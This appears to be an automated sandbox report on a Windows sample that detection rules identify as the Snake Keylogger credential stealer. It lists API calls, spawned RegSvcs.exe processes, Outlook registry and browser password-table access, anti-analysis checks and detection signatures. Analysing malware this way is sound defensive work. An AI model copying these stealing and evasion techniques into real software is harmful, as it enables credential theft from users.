Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FD460	2_2_054FD460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FB750	2_2_054FB750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FB760	2_2_054FB760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FC658	2_2_054FC658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FE168	2_2_054FE168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FE161	2_2_054FE161
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F0006	2_2_054F0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FC001	2_2_054FC001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FB308	2_2_054FB308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FB2F9	2_2_054FB2F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FDD00	2_2_054FDD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FDD10	2_2_054FDD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F2CE1	2_2_054F2CE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F6FF0	2_2_054F6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FAEA1	2_2_054FAEA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FAEB0	2_2_054FAEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F6858	2_2_054F6858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F6868	2_2_054F6868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F7860	2_2_054F7860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FD8A8	2_2_054FD8A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FD8B8	2_2_054FD8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FBBAA	2_2_054FBBAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FBBB8	2_2_054FBBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FAA49	2_2_054FAA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FAA58	2_2_054FAA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FEA09	2_2_054FEA09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FEA18	2_2_054FEA18

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: String function: 005B0AE3 appears 70 times
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: String function: 005B8900 appears 42 times
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: String function: 00597DE1 appears 36 times

Source: y1jQC8Y6bP.exe, 00000000.00000003.1251641059.0000000003C03000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs y1jQC8Y6bP.exe
Source: y1jQC8Y6bP.exe, 00000000.00000003.1251831515.0000000003DAD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs y1jQC8Y6bP.exe
Source: y1jQC8Y6bP.exe, 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs y1jQC8Y6bP.exe

Source: y1jQC8Y6bP.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: y1jQC8Y6bP.exe PID: 6952, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 4836, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@4/3

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005FA06A GetLastError,FormatMessageW,

0_2_005FA06A

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005E81CB AdjustTokenPrivileges,CloseHandle,		0_2_005E81CB
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005E87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_005E87E1

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005FB333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_005FB333

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_0060EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0060EE0D

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005FC397 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_005FC397

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00594E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00594E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

File created: C:\Users\user~1\AppData\Local\Temp\autD202.tmp

Jump to behavior

Source: y1jQC8Y6bP.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.3725432581.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000003028000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000002FF6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000003006000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000003014000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000003035000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: y1jQC8Y6bP.exe	ReversingLabs: Detection: 71%
Source: y1jQC8Y6bP.exe	Virustotal: Detection: 54%

Source: unknown	Process created: C:\Users\user\Desktop\y1jQC8Y6bP.exe "C:\Users\user\Desktop\y1jQC8Y6bP.exe"
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\y1jQC8Y6bP.exe"
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\y1jQC8Y6bP.exe"	Jump to behavior

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: y1jQC8Y6bP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: y1jQC8Y6bP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: y1jQC8Y6bP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: y1jQC8Y6bP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: y1jQC8Y6bP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: y1jQC8Y6bP.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: y1jQC8Y6bP.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: y1jQC8Y6bP.exe, 00000000.00000003.1252289965.0000000003C80000.00000004.00001000.00020000.00000000.sdmp, y1jQC8Y6bP.exe, 00000000.00000003.1253025242.0000000003AE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: y1jQC8Y6bP.exe, 00000000.00000003.1252289965.0000000003C80000.00000004.00001000.00020000.00000000.sdmp, y1jQC8Y6bP.exe, 00000000.00000003.1253025242.0000000003AE0000.00000004.00001000.00020000.00000000.sdmp

Source: y1jQC8Y6bP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: y1jQC8Y6bP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: y1jQC8Y6bP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: y1jQC8Y6bP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: y1jQC8Y6bP.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00594B37 LoadLibraryA,GetProcAddress,

0_2_00594B37

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_0059C4C6 push A30059BAh; retn 0059h		0_2_0059C50D
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B8945 push ecx; ret		0_2_005B8958

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005948D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_005948D7
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_00615376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00615376

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005B3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_005B3187

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

API/Special instruction interceptor: Address: 11C3264

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: y1jQC8Y6bP.exe, 00000000.00000002.1256202046.00000000012B8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: PROCESSHACKER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598125	Jump to behavior
